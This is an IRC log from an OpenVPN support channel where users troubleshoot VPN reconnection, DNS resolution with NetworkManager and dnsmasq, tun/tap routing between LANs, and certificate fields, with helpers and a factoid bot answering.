12:34 < jekader> or it went down and back up
12:34 < jzaw> and ths routing doesnt change
12:34 < jzaw> surely?
12:34 < pekster> If you're moving from a bridged setup to an existing physical network, you cannot use the same network range
12:34 < jekader> if the interface goes down, routes on that IF will disappear
12:34 < phunyguy> going to run a good 5 minute ping test to see how tun works for me.  It seems smoother so far.
12:35 < jzaw> pekster, its a routed tap not bridged tap
12:35 < pekster> "routed tap" <-- why?
12:35 < phunyguy> pings are a VERY steady 33-37ms
12:35 < pekster> That's just all around silly
12:35 < jzaw> errr ... cos it works ?     and i cant yet get routed tuns to work in the same situation
12:36 < jzaw> something is evading me ... ill prob see it soon and do a MAJOR facepalm
12:36 < jzaw> or several facedesks
12:36 < phunyguy> I do have another question, though.   I have the keepalive option set, but if my VPN drops, I reboot my router, etc, all of my clients just sit there with a broken VPN link and never reconnect.
12:36 < jzaw> :D
12:37 < phunyguy> one is windows 7 with openvpn service running, two are ubuntu boxen.
12:37 < kisom> phunyguy: So adjust the values. I use keepaline and it works just fine.
12:37 < pekster> phunyguy: keepalive on the server? That's a helper-directive that does ping + ping-restart, and pushes the same to clients; clients only get it if they use --pull or --client, and the timeout will depend on the timeout values you give it
12:37 < kisom> And make sure you client -pills
12:37 < kisom> --pulls*
12:38 < jekader> phunyguy - never had such problems
12:38 < jzaw> pekster, but to repeat the question a  working routed tap ... simply changed to a tun (topology subnet) should just work (r)  ?
12:38 < phunyguy> yes my client does.
12:38 < pekster> If your OS supports it (firewall & routing) yes jzaw
12:38 < pekster> I can almost assure you that's your problem
12:38 < jzaw> vanilla debian at server end .... openwrt at client end
12:38 < jekader> phunyguy - maybe they are attempting to reconnect?
12:38 < phunyguy> I used the default values of 10 120
12:38 < pekster> So what?
12:39 < pekster> Firewalls are firewalls
12:39 < phunyguy> no, one sat for about 9 hours.
12:39 < jekader> and just can't resolve the server name, etc...
12:39 < phunyguy> until I came to work and restarted it.
12:40 < phunyguy> (btw, killed the continuous ping with tun devices, 0% loss)
12:40 < phunyguy> so thank you for that heads up.
12:43 <@krzee> phunyguy, with your keepalive issue, does the client log have nothing to tell?
12:43 < phunyguy> krzee: I can check.
12:44 < phunyguy> I will tail syslog
12:44 <@krzee> maybe it tried to connect again, and got a different address, but had dropped permissions from --user so exited since it couldnt ifconfig
12:44 <@krzee> or something
12:45 < phunyguy> test
12:46 < phunyguy> krzee, This was all that appeared on the client when I restarted the openvpn server service.  http://paste.ubuntu.com/5623411/
12:46 < phunyguy> and that "test" didn't show up until I manually recycled the client.
12:48 <@krzee> what verbosity is that?
12:48 < phunyguy> 3
12:48 < phunyguy> wait hang
12:48 < phunyguy> on
12:48 < phunyguy> let me see
12:48 <@krzee> and thats only 5sec of logs
12:49 < pekster> Missing all the handshake, negotiation, and 'Initilization sequence completed' parts
12:49 -!- jekader [~jekader@89.28.86.96] has quit [Read error: Connection reset by peer]
12:49 < phunyguy> pekster: thats because they didnt happen
12:49 < pekster> So that's not a log showing a successful reconnection. With --ping-restart it'll endlessly try to reconnect
12:49 < phunyguy> :-/
12:49 -!- jekader [~jekader@89.28.86.96] has joined #openvpn
12:49 < pekster> After 60 seconds (by default) of a failed auth, it starts over
12:50 < phunyguy> ok let me wait 60 seconds then.
12:52 -!- Aketzu_ [akolehma@kelvin.aketzu.net] has joined #openvpn
12:52 -!- GabrieleV_ [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
12:52 <@krzee> but you were never connected!
12:52 <@krzee> (or so says your log)
12:52 -!- Netsplit *.net <-> *.split quits: hive-mind, Sickness\, GabrieleV, MeanderingCode, Masxmasx{AFK}, Aketzu, Cpt-Oblivious
12:52 -!- GabrieleV_ is now known as GabrieleV
12:53 -!- Netsplit over, joins: MeanderingCode, Masxmasx{AFK}, Sickness\
12:53 -!- jekader [~jekader@89.28.86.96] has quit [Read error: Connection reset by peer]
12:54 -!- jekader [~jekader@89.28.86.96] has joined #openvpn
12:54 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
12:55 < phunyguy> http://paste.ubuntu.com/5623431/
12:55 < phunyguy> some random ufw stuff in tehre which hels with timestamps
12:56 < pekster> So fix DNS then
12:56 < phunyguy> yep
12:56 < phunyguy> just saw it
12:56 < phunyguy> :-/
12:56 < phunyguy> it pushes a dns server
12:56 < phunyguy> so I can resolve stuff on teh home network
12:57 < phunyguy> WAIT
12:58 -!- seait [~seait@c-76-102-97-160.hsd1.ca.comcast.net] has joined #openvpn
12:59 < jekader> I usually include two remote definitions
12:59 < jekader> one with a hostname, and the other with the IP
12:59 < jekader> just in case
13:00 < phunyguy> nope, wasn't that.  I forgot in teh networkmanager client, I hard set my local DNS server
13:00 < jekader> helps a lot when the server goes down unexpectedly, but DNS on the client remains set to the VPN one and thus stops working
13:00 <@ecrist> !ubuntu
13:00 <@vpnHelper> "ubuntu" is dont use network manager!
13:01 < phunyguy> *sigh*  h8n
13:01 < phunyguy> :P
13:01 < phunyguy> it happens on teh windows client too IIRC
13:01 < phunyguy> let me verify
13:04 -!- tgunr_ [~davec@rrcs-108-178-190-54.west.biz.rr.com] has quit [Ping timeout: 258 seconds]
13:09 -!- Netsplit *.net <-> *.split quits: Masxmasx{AFK}, MeanderingCode, Sickness\
13:14 -!- Netsplit over, joins: MeanderingCode, Masxmasx{AFK}
13:14 < phunyguy> yeah, happens on windows clients as well.  I suspect it has something to do with the tunnel being the default route, but the strange part is, it adds a route to my home IP and puts it out the physical interface instead of the vpn... so that's odd.
13:16 -!- Sickness\ [~stront@wolfenstein.enemyterritory.org] has joined #openvpn
13:18 < pekster> Read --redirect-gateway
13:19 < phunyguy> yup, that is the offending option, I did --route-nopull on client, and it reconnected as it should on a server restart
13:19 < phunyguy> ok bbiab
13:19 < phunyguy> thanks for the help
13:21 -!- SpaceBass [~SP@ec2-23-21-58-249.compute-1.amazonaws.com] has quit [Remote host closed the connection]
13:22 -!- SpaceBass [~SP@ec2-23-21-58-249.compute-1.amazonaws.com] has joined #openvpn
13:42 -!- jekader [~jekader@89.28.86.96] has quit [Quit: Konversation terminated!]
13:47 -!- Sickness\ [~stront@wolfenstein.enemyterritory.org] has quit [Read error: Operation timed out]
13:49 -!- Sickness\ [~stront@wolfenstein.enemyterritory.org] has joined #openvpn
13:52 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood]
13:53 -!- Sickness\ is now known as S-Work
13:53 -!- S-Work [~stront@wolfenstein.enemyterritory.org] has quit [Changing host]
13:53 -!- S-Work [~stront@unaffiliated/s-work] has joined #openvpn
13:53 -!- S-Work is now known as Sickness\
13:53 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
13:53 -!- mode/#openvpn [+o krzee] by ChanServ
13:54 < jzaw> !ping
13:54 <@vpnHelper> pong
13:55 -!- bwallen [~brian@pool-71-171-107-196.clppva.fios.verizon.net] has joined #openvpn
13:55 < bwallen> Is it any more or less secure to not change the default country name, state name, etc when generating my keys?
13:56 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Excess Flood]
13:56 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
13:56 < rob0> It is arguably less secure if those values are correct. :)
13:57 < pekster> bwallen: There's no reason to even use them in your certs to begin with. All of mine are generated without any of those "worthless" fields
13:57 < pekster> OpenVPN doesn't use them, and it allows an attacker to gather info about you (if the info is true)
13:57 < phunyguy> pekster, I read the options for it, and the only thing I could see that would potentially fix it is adding "bypass-dns" to --redirect-gateway, but that had no effect, sadly.
13:58 < pekster> phunyguy: It adds a host-route to your VPN server. Otherwise you have a routing loop
13:58 < bwallen> pekster: Hm, I thought that they were required. I usually keep them as default which is San Francisco, which is not correct for me
13:58 < phunyguy> pekster, oh, well I was already using that option fwiw
13:58 < pekster> If you redirect "all" traffic over the VPN, then the VPN's encalsulating traffic needs to go to the public IP, but that traffic is redirected across the VPN, but that traffic needs to reach the public IP... (see the problem?)
13:58 < pekster> encapsulating*
13:59 < phunyguy> I was using it as --redirect-gateway def1
13:59 < phunyguy> so it makes no sense to me now
13:59 < pekster> bwallen: They're not at all required. I'm working on a new and improved version of easy-rsa that does away with them completely
13:59 < pekster> They're 100% unnecessary, extra crap
13:59 < bwallen> Awesome, thanks!
14:00 < pekster> It'sa bit non-trivial to completely remove them, but you're free to look at my code. It's usable, although it's not quite as well polished as easy-rsa (docs are a bit more terse, but it's functional if you want to see what I've done with openssl.cnf)
14:01 < seait> https://euphoria.everdying.net/images/nw.png - I'm trying to pass traffic between these networks / hosts. it's being a pain. I added a route manually on the pfsense side (not shown in the image) - route add -net 192.168.5.0/24 192.168.255.6
14:01 < phunyguy> pekster, I see where it creates a route to my servers public IP to go out eth0 instead of tun0, but the issue is resolving my server's public IP via hostname it seems.
14:01 < pekster> Right. That's not related
14:02 < phunyguy> I think it is trying to lookup my hostname over DNS that has since gone down.
14:02 < phunyguy> over a link that has since gone down... which is why I zero'd in on "bypass-dns"
14:02 < pekster> So have your script that's updating DNS un-update it
14:02 < phunyguy> pekster.... i dont follow....
14:03 < phunyguy> (apologies)
14:03 < pekster> Presumably the only reason you can't reach DNS is beccause you're using a server only reachable over the VPN?
14:03 < pekster> How do you resolve DNS normally otherwise?
14:03 < phunyguy> well without the VPN I get my employer's DNS servers via DHCP
14:03 < pekster> And if you're just using network manager to magically do it for you, that's a big part of the problem since it's doing all this for you and you don't even know what it's doing
14:03 < phunyguy> pekster, the same thing happens with standard openvpn client on windows.
14:03 < pekster> Right. So why can't you use your local DNS (provided by work or whatever) when reconnecting?
14:04 < pekster> What's are you *doing* that breaks it?
14:04 < phunyguy> that is until I told it to not accept the pushed routing options
14:04 < phunyguy> pekster that is my question... HOW do I do that?
14:04 < pekster> Do what, use a dns server?
14:04 < phunyguy> it should eb already...
14:04 < phunyguy> be
14:04 < pekster> resolv.conf(5) is what Unix-alikes use
14:04 < pekster> If network manager & friends are messing with it, have it put it back
14:05 < phunyguy> pekster, on initial connection it is looking up my hostname just fine.
14:05 < phunyguy> so lets back up for a second.
14:05 < pekster> Yes, and not when it reconnects. What's resolv.conf look like then?
14:05 < phunyguy> I am pushing a dns server over the tunnel to add to the list
14:05 < pekster> "the list" ?
14:05 < pekster> You mean resolv.conf?
14:05 < phunyguy> of dns servers.
14:05 < phunyguy> yes
14:05 < pekster> Figure out what it's actually doing
14:05 < phunyguy> I am thinking it is replacing, and not adding.
14:05 < pekster> Vauge things like "adding to the list" don't really help define what's goign on
14:05 < phunyguy> but Ubuntu now uses dnsmasq
14:06 < phunyguy> which adds another headache to the equation.
14:06 < phunyguy> so can you guess what my resolv.conf looks like?
14:06 < rob0> seait, I suspect some net30 nonsense.
14:06 < rob0> !net30
14:06 <@vpnHelper> "net30" is "/30" is (#1) http://openvpn.net/index.php/documentation/faq.html#slash30 explains why routed clients each use 4 ips, or (#2) you can avoid this behavior with by reading !topology
14:06 < phunyguy> "nameserver 127.0.1.1"
14:06 < rob0> !clientlan
14:06 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a
14:06 <@vpnHelper> better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
14:06 < rob0> !serverlan
14:06 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
14:07 < rob0> ^^ those flowcharts might help also
14:07 -!- Sickness\ [~stront@unaffiliated/s-work] has quit [Read error: Operation timed out]
14:07 < seait> Ahh, I was wondering...
14:07 -!- Sickness\ [~stront@wolfenstein.enemyterritory.org] has joined #openvpn
14:07 < seait> My first time running OpenVPN server, I noticed the server was using multiple addresses
14:08 < pekster> phunyguy: Okay, so how are you updating dnsmasq's list of servers?
14:08 -!- Masxmasx{AFK} is now known as Masxmasx
14:08 -!- Masxmasx [~IetsVulga@u134.baconseed.org] has quit [Changing host]
14:08 -!- Masxmasx [~IetsVulga@unaffiliated/masxmasx] has joined #openvpn
14:08 < seait> rob0: I can ping the remote host from the router though
14:09 < seait> rob0: from OpenWRT (192.168.255.6), ssh'd + ping, I get a reply from the host on the remote network (192.168.50.100)
14:09 < seait> I just can't seem to get traffic from the hosts to directly pass.
14:11 < phunyguy> pekster, on the server config I  " push 'dhcp-option DNS dnsserverip' "
14:11 < phunyguy> which works, I can resolve dns over the tunnel
14:11 < pekster> Not by itself it won't wnork
14:12 < pekster> Read --dhcp-option for info
14:12 < pekster> Then tell me what you've done to make that work client-side
14:12 < phunyguy> pekster, the "push" aspect of it.
14:12 < pekster> (and if your answer is "network manager does it all for me" my answer is "make it undo that for you too")
14:12 < phunyguy> I am pushing that option to the client
14:12 < phunyguy> pekster, I don't use networkmanager on teh windwos client, same thing happens.
14:12 < pekster> And it won't *do* anything by default when you do that
14:13 < pekster> Right, Windows adads it to the interface, then uses some black-magic in the OS to update a master list of recursors
14:13 < phunyguy> pekster, right, and then when I restart the server, windows sits there just like ubuntu does going "duuh.. where did the server go"
14:14 < phunyguy> and then times out resolving my hostname
14:14 < pekster> Windows should keep your old DNS servers on the physical interface; are you doing something silly like leaving the IP/tun device there when you reconnect?
14:14 < pekster> (--persist-tun or such)
14:15 < phunyguy> --persist-tun is there, yes....
14:15 < phunyguy> :(
14:15 < pekster> Well there's your problem
14:15 < phunyguy> that the problem?
14:15 < phunyguy> *sigh*, lol
14:15 < pekster> It keeps the interface up, so Windows keeps trying to use those servers
14:15 < pekster> Which don't work
14:15 < pekster> No clue why Windows won't use "another" DNS server -- go find some MSDN docs that poorly explain how MS does things
14:16 < phunyguy> yeah...
14:16 < phunyguy> so youa re saying set that on the server or client?
14:16 < phunyguy> because I have it set server side
14:17 < pekster> If it's not set client-side, it should tear down the interface
14:17 < pekster> How can Windows try to use a DNS server on an interface that's down?
14:17 < pekster> (hint: it won't.)
14:17 < phunyguy> hmm..
14:17 < phunyguy> ok
14:17 < phunyguy> let me try some things.  thank you
14:17 < pekster> On Linux you should see what's messing with your resolver setup, which apparently includes dnsmasq
14:18 < seait> rob0: if I use the ifconfig-pool-linear directive, can I flatten out the topology?>
14:18 < pekster> No idea how you've configured it to work magically with that, but the solution is the same as before, set DNS servers you can access
14:18 < phunyguy> On linux I am getting the exact same behavior, cannot resolve my routers hostname because the vpn link is down.
14:18 <@krzee> seait,
14:18 <@krzee> !topology
14:18 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
14:18 < pekster> phunyguy: You might need to look at --down and --up-restart
14:19 < pekster> phunyguy: Yes, so you've said. Maybe you can try telling me *how* you're setting DNS servers, becuase I'm sick of asking
14:19 < pekster> If you don't know, go find out. For the 3rd time.
14:19 < phunyguy> pekster I answered like 3 times, lol
14:19 < pekster> No, you said "ubuntu uses dnsmasq." That's not what I asked
14:19 < seait> Awesome, thanks krzee
14:19 < phunyguy> using the push "dhcp-option DNS" argument on the server side.
14:19 < pekster> client. client clinet client
14:19 < pekster> How is your *CLIENT* setting it?
14:20 < phunyguy> ahhh..
14:20 < phunyguy> (networkmanager magic, /me runs)
14:20 < pekster> Apparently you didn't manage to get that hint when I told you to read --dhcp-option?
14:20 < pekster> Well, then use some networkmanager black magic to make it do the right thing
14:20 <@krzee> !pushdns
14:20 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
14:20 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
14:20 <@krzee> #4
14:21 < rob0> Or, if using dnsmasq anyway, just configure dnsmasq to know how to resolve VPN names.
14:22 < pekster> rob0: Sure, but right now nm is doing something stupid with the dnsmasq and then failing to undo it on reconnect. Another "wonderful" nm default on ubuntu :(
14:22 < phunyguy> interesting.... "DNS addr -- Set primary domain name server address. Repeat this option to set secondary DNS server addresses. " from the manpages
14:22 < pekster> Probably hooking in --up but not undoing it with --down and --up-restart, but I don't care enough to see what nm does
14:22 < phunyguy> is primary the key word?
14:22 < pekster> phunyguy: It's a Windows thing
14:23 < pekster> sane OSes just have a list. Windows likes to call them "primary" and "secondary"
14:23 < phunyguy> ahh
14:23 < phunyguy> and on Windows I do notice that the physical adapter still has teh right DNS names (local to this network) and the tun adapter has my remote DNS server set
14:23 < phunyguy> sorry
14:23 < phunyguy> right DNS addresses, not names)
14:23 < phunyguy> been a long day
14:25 < phunyguy> pekster, is it possible to "push" those --up, optiosn and such?
14:25 < pekster> No
14:25 < phunyguy> rats.
14:25 < pekster> It's OS specific
14:25 < pekster> What would Windows do with /usr/local/sbin/myscript.sh ?
14:25 < pekster> Or Linux with C:\something\program.exe ?
14:25 < phunyguy> well Linux right now for me is the only one that is really a problem.  I don't redirect-gateway on the windows client.
14:26 < phunyguy> I do route-nopull with windows
14:27 < phunyguy> man that really stinks.  I was really hoping to use networkmanager, it does work well, except for this one aspect.  I actually wrote a small script for it that senses network connectivity, and if not at home, connect VPN.  Gives a nice visual appeal too as it connects and stuff.
14:27 <@krzee> why even push?  just set the clients that need to redirect to do it in their config
14:27 <@krzee> you should not need route-nopull when you run the server
14:27 < phunyguy> krzee: that was my point.  I am not doing traditional config files.
14:27 < phunyguy> krzee I meant on teh windows client for route-nopull
14:28 < phunyguy> so it doesnt pull the redirect-gateway option
14:28 < phunyguy> then I manually set routes on taht client in it's config
14:28 <@krzee> right, but you dont HAVE TO push redirect-gateway to that client in the first place
14:29 < phunyguy> well I have it push to all clients... I have almost all of them except for that one redirecting the gateway
14:29 < phunyguy> so more redirect than not
14:29 < phunyguy> :-/
14:29 <@krzee> are you using ccd entries?
14:29 < rob0> I am.
14:29  * phunyguy 's eyes glaze over
14:30 <@krzee> if not, you could enable that, put the push in ccd/DEFAULT and then make an empty file for the guy who should not get it
14:30 -!- al_nz1 [al_nz1@203-109-232-211.dsl.dyn.ihug.co.nz] has joined #openvpn
14:30 < phunyguy> I'm not having any issues on the Windows side.  I prefer to leave that alone.
14:30 <@krzee> but whatev, you can do it how you like
14:31 < phunyguy> going to marinade on it for a bit.
14:33 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
14:34 < phunyguy> it seems networkmanager calls openvpn without using a config file at all... so if that's the case, and it hooks an --up in there somewhere... wouldn't it show up on teh running process with ps axf | grep openvpn ?
14:36 < phunyguy> also it seems as if dnsmasq is detecting the dns change... let me pastebin
14:36 < pekster> #ubuntu is probably a better place to ask what the way to integrate in with ubuntu's dnsmasq setup
14:37 < phunyguy> http://paste.ubuntu.com/5623727/  - 10.10.10.10 is the local DNS here at work, and 172.18.0.1 is remote at home.
14:37 < phunyguy> no thats my point, it adds both to "the list"
14:38 < pekster> None of which has anything to do with openvpn, besides some mysterious hook that's getting called from openvpn
14:38 < pekster> I see nm and dnsmasq in that log, and a reference to pulling the info from DBus. All of that is way outside the scope of openvpn
14:38 -!- seait_ [~seait@c-76-102-97-160.hsd1.ca.comcast.net] has joined #openvpn
14:38 < phunyguy> ok.
14:38 < pekster> For all openvpn cares, you can look it up from a mysql database that returns lisp code you run to get your DNS server
14:39 -!- seait [~seait@c-76-102-97-160.hsd1.ca.comcast.net] has quit [Read error: Connection reset by peer]
14:39 < phunyguy> to be fair, #ubuntu is going to be completely useless here ;)
14:39 < pekster> OpenVPN ships with a basic DNS script that updates resolv.conf, but if you want distro-integration you should learn the internals of that mechanism
14:39 < phunyguy> but thank you for your help.
14:40 < pekster> Yes, probably. Most people there have no clue how their own OS is set up, and quite frankly that's a large part of their intended userbase. One of the reasons I try to avoid using ubuntu's junk. I'm on a Xubuntu laptop atm, but I run openvpn from the command line where it's semi-sane
14:41 < pekster> A quick glance shows that none of the servers are define anywhere and get passed in through a DBus call. Fun times, taking something like resolution that "should be" pretty easy and making it quite a bit more complex
14:42 < phunyguy> yep, I would have been long gone with Ubuntu, but I am completely smitten with the Unity interface.
14:42 < phunyguy> ...not sure why
14:42 < pekster> Nothing's stopping you from `openvpn --config /etc/openvpn/myserver.conf` even on ubuntu
14:42 < pekster> Hence, why we say,
14:42 < pekster> !ubuntu
14:42 <@vpnHelper> "ubuntu" is dont use network manager!
14:42 < phunyguy> yeah, I realize that..  what happens when I am at home though?
14:42 < pekster> It "just works", except when it doesn't
14:42 < phunyguy> it will still attempt to connect
14:43 < phunyguy> and probabyl succeed, which is not what I want
14:43 < pekster> Clever scripting of your dhcp client could probably run openvpn conditionally depending on what IP or domain name you get back from the server
14:43 < phunyguy> and with ubuntu I get a pretty little icon that tells me my script worked at detecting I am not at home and thus connecting to openvpn.
14:43 < pekster> I'd just start it when you want it
14:43  * pekster shrugs
14:44 < phunyguy> yeah but I can't tell my wife to do that, but I  still want her protected at public hotspots./
14:44 < pekster> OpenVPN can't know "when" you want your client on
14:44 < phunyguy> thats why I scripted it with nmcli like I did.
14:44 < pekster> It's a bad idea to assume that'll work. If I'm trying to attack your setup it's trivial to ARP spoof you, become your MITM-to-the-router, and drop the VPN traffic so everything is in the clear
14:44 < phunyguy> it checks for dns suffix assigned, and if it isn't what I set at home, bring up vpn.
14:44 < pekster> If your goal is security, that's a poor way of doing it
14:45 < phunyguy> hmmm yeah that makes sense.
14:45 < pekster> Well, security that's automagically going to work anywhere without any interaction at all. The whole "security or usability: pick one" thing
14:46 < phunyguy> but at least then I get a visual saying the VPN is a failure so I dont do anything stupif.
14:46 < phunyguy> stupid.
14:46 < phunyguy> "connection to home VPN failed" in a big notification in the top corner, so then I know my connection is not secure, and so does my wife.
14:46 < pekster> And if that's the moment something is sent down the wire? :)
14:47 < phunyguy> I don't follow
14:47 -!- awc737 is now known as awc737_away
14:47 < pekster> Not really importnat or relevant
14:47 < pekster> Basically, get your setup working without nm, then import it there if you'd like. The less 'does it for you' nm does, the easier you'll find your life
14:48 < phunyguy> if someone is absorbing my packets and dropping them, my connection will not work... then the tunnel dies, and I get a notification "vpn connection failed"
14:48 < pekster> I've no clue if you can turn off it's stupid auto-added options and just have it eat a standard config file
14:48 < pekster> You're really not going to find help with nm here. Pretty much all the regulars here hate it
14:48 < pekster> And clearly, with good reason
14:48 < phunyguy> yep.
14:49 < pekster> It makes assumptions about your setup, hides what it
14:49 < pekster> it's doing, doesn't make editing these assumptions easy, etc, etc
14:49 < phunyguy> and for the most part I am fine with that, but this one is going to drive me batty.
14:49 < phunyguy> and windows is guilty of the same muckery
14:50 < pekster> Hey, even with ubuntu you can at least view the sources
14:50 < phunyguy> yep.
14:50 < phunyguy> thats where my eyes glaze over, though
14:50 < phunyguy> I can do a little scripting, but OS writing..... yeah no.
14:51 < phunyguy> I initially had my script perform a ping every 10 seconds or so, and if the host didn't respond, drop the vpn connection, but I was finding that some pings were failing and my connection would drop in the middle of a transfer, like every few minutes.
14:52 < phunyguy> I suppose I could add in support for something like 5 failed pings... but I dunno yet.
14:56 < pekster> --keepalive works fine, when the rest of your setup doesn't stay broken on disconnect
14:57 < pekster> You're trying to hack around an easily-resolved problem
14:59 < phunyguy> WAIT
14:59 < phunyguy> I figured out what the problem is actually
14:59 < phunyguy> the DNS servers here are on a different subnet
15:00 < pekster> On disconnect the routes should be torn down
15:00 < phunyguy> it created a route to go out the physical interface for my local subnet, but not all the routes.
15:01 < phunyguy> yes you are correct, but it's not disconnecting, and it is hard-setting persist-tun
15:02 < phunyguy> on the networkmanager end I mean
15:02 < phunyguy> so I think if I add a route to 10.10.10.10 to go out the physical interface, i may be OK.
15:02 < pekster> So don't use that option
15:02 < pekster> Read what --persist-tun does and don't use it
15:03 < phunyguy> yeah, I can't "not" use that option
15:03 < phunyguy> :)
15:03 < pekster> Then use a non-broken way to start your VPN
15:03 < pekster> openvpn supports what you want; your distro frontend doesn't. What do you expect from the people who work to maintain the openvpn code, to fix your distro?
15:04 < pekster> File a bugreport on launchpad if you really want that fixed
15:04 < pekster> Or, probably on gnome since they maintain nm
15:04 < phunyguy> naah I think I am about ready to use the standard way of connecting openvpn,
15:04 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
15:04 < phunyguy> yeah but ubuntu patches the crap out of most gnome packages
15:05 < phunyguy> I wonder what all of this looks like in KDE
15:05 < phunyguy> *shrug*
15:10 -!- j5m1th [~j5m1th@78.129.180.118] has joined #openvpn
15:10 < phunyguy> pekster, fyi, on the windows end, removing persist-tun did the trick
15:11 < phunyguy> only missed 2 pings
15:12 < al_nz1> Hi folks
15:12 < al_nz1> Is there a way to keep a monthly total for a given client?
15:13 < pekster> total of what?
15:13 < al_nz1> sorry - data transferred
15:13 < pekster> I have a script you can tweak to your needs:
15:13 < pekster> !accounting
15:13 <@vpnHelper> "accounting" is http://pekster.sdf.org/code/files/openvpn-user-accounting.tgz for some bash code for basic accounting
15:13 < al_nz1> pekster: nice - thanks
15:14 -!- smerz_ [~smerz@a170224.upc-a.chello.nl] has joined #openvpn
15:17 < hjohnson> pekster: I think the radius plugin can do that as well
15:17 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
15:17 < hjohnson> (though I'm not using the accounting features)
15:20 < pekster> An authentication plugin tracking bandwidth? Talk about bloat...
15:22 < hjohnson> pekster: if you're already running a RADIUS system, it's not a bad way to go.
15:26 -!- TheRealSjr [~sjr@216.239.45.73] has joined #openvpn
15:28 -!- brute11k [~brute@89.249.231.82] has joined #openvpn
15:29 -!- xBytez [~xbytez@unaffiliated/magix] has quit [Read error: Connection reset by peer]
15:29 < phunyguy> pekster, I actually got it to work.  Had a "duh" moment.
15:30 < phunyguy> since everything here is on a 10.0.0.0 network, I just hardcoded a route to that network to go out the physical interface
15:30 < phunyguy> so it doesn't fall under "redirect-gateway"
15:30 < phunyguy> I can now resolve DNS when teh vpn is down.
15:31 < pekster> There's a dns flag to the --redirect-gateway too
15:31 -!- xBytez [~xbytez@unaffiliated/magix] has joined #openvpn
15:31 -!- brute11k1 [~brute@89.249.231.82] has quit [Ping timeout: 252 seconds]
15:32 -!- j5m1th is now known as SteWa
15:33 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
15:35 -!- xBytez [~xbytez@unaffiliated/magix] has quit [Client Quit]
15:36 < phunyguy> yes pekster
15:36 < phunyguy> but it seems to onjly work on windows
15:36 < phunyguy> only*
15:36 < phunyguy> just had a successful connection recycle, fwiw
15:38 < phunyguy> I am not 100% operational with networkmanager, and everything.   Simple networking concepts got me.
15:38 -!- awc737_away is now known as awc737
15:41 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
15:44 < phunyguy> whoops, sorry... s/not/now/
15:44 < phunyguy> I am noW 100% operational with networkmanager and everything.
15:45 < phunyguy> so again, THANK YOU for all of your help and encouragement.
15:45 < phunyguy> pekster, are you one of the devs?
15:46 < pekster> Not one of the core developers, but I've submitted a handful of patches for various fixes/improvements
15:50 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has joined #openvpn
15:50 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has quit [Changing host]
15:50 -!- xBytez [~xbytez@unaffiliated/magix] has joined #openvpn
15:51 < phunyguy> ahh.  I saw you say something about easyrsa earlier, that's why I asked.
15:53 < pekster> This is an "improved" easy-rsa codebase, although it's a little bit in flux still, and lacks pkcs11 and native windows support. Otherwise it's "functional" from a usability perspective: https://github.com/QueuingKoala/easy-rsa
15:53 <@vpnHelper> Title: QueuingKoala/easy-rsa · GitHub (at github.com)
15:54 < pekster> Basically a complete re-write that does away with all the defaults that were brought in from the openssl.cnf defaults that don't apply to openvpn
15:55 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 245 seconds]
15:57 < phunyguy> awesome.
15:57 < phunyguy> I need to lurk here more.
16:05 -!- matsh [divine@nanogene.org] has quit [Read error: Connection reset by peer]
16:06 -!- matsh [divine@nanogene.org] has joined #openvpn
16:15 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
16:19 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 258 seconds]
16:32 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:35 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
16:42 < seait_> So, using TUN between two routers to route between clients on networks attached to each router... I'm wondering if the issue has to do with TUN itself...
16:44 < seait_> Since there's no layer 2... The client side of the tunnel doesn't seem to know what to do with the traffic.
16:44 < pekster> Nope, just means you haven't set up routing properly
16:45 < pekster> See !serverlan and !clientlan for the steps you need to route LANs behind either openvpn client
16:45 < pekster> (complete with helpful flowcharts)
16:45 < seait_> thanks. I'll take a look
16:46 < seait_> rob said that and I got caught up with something else, should have read that stuff :P
16:51 -!- speed_racer8 [~speed_rac@173.45.218.54] has joined #openvpn
16:54 -!- Sickness\ [~stront@wolfenstein.enemyterritory.org] has quit [Changing host]
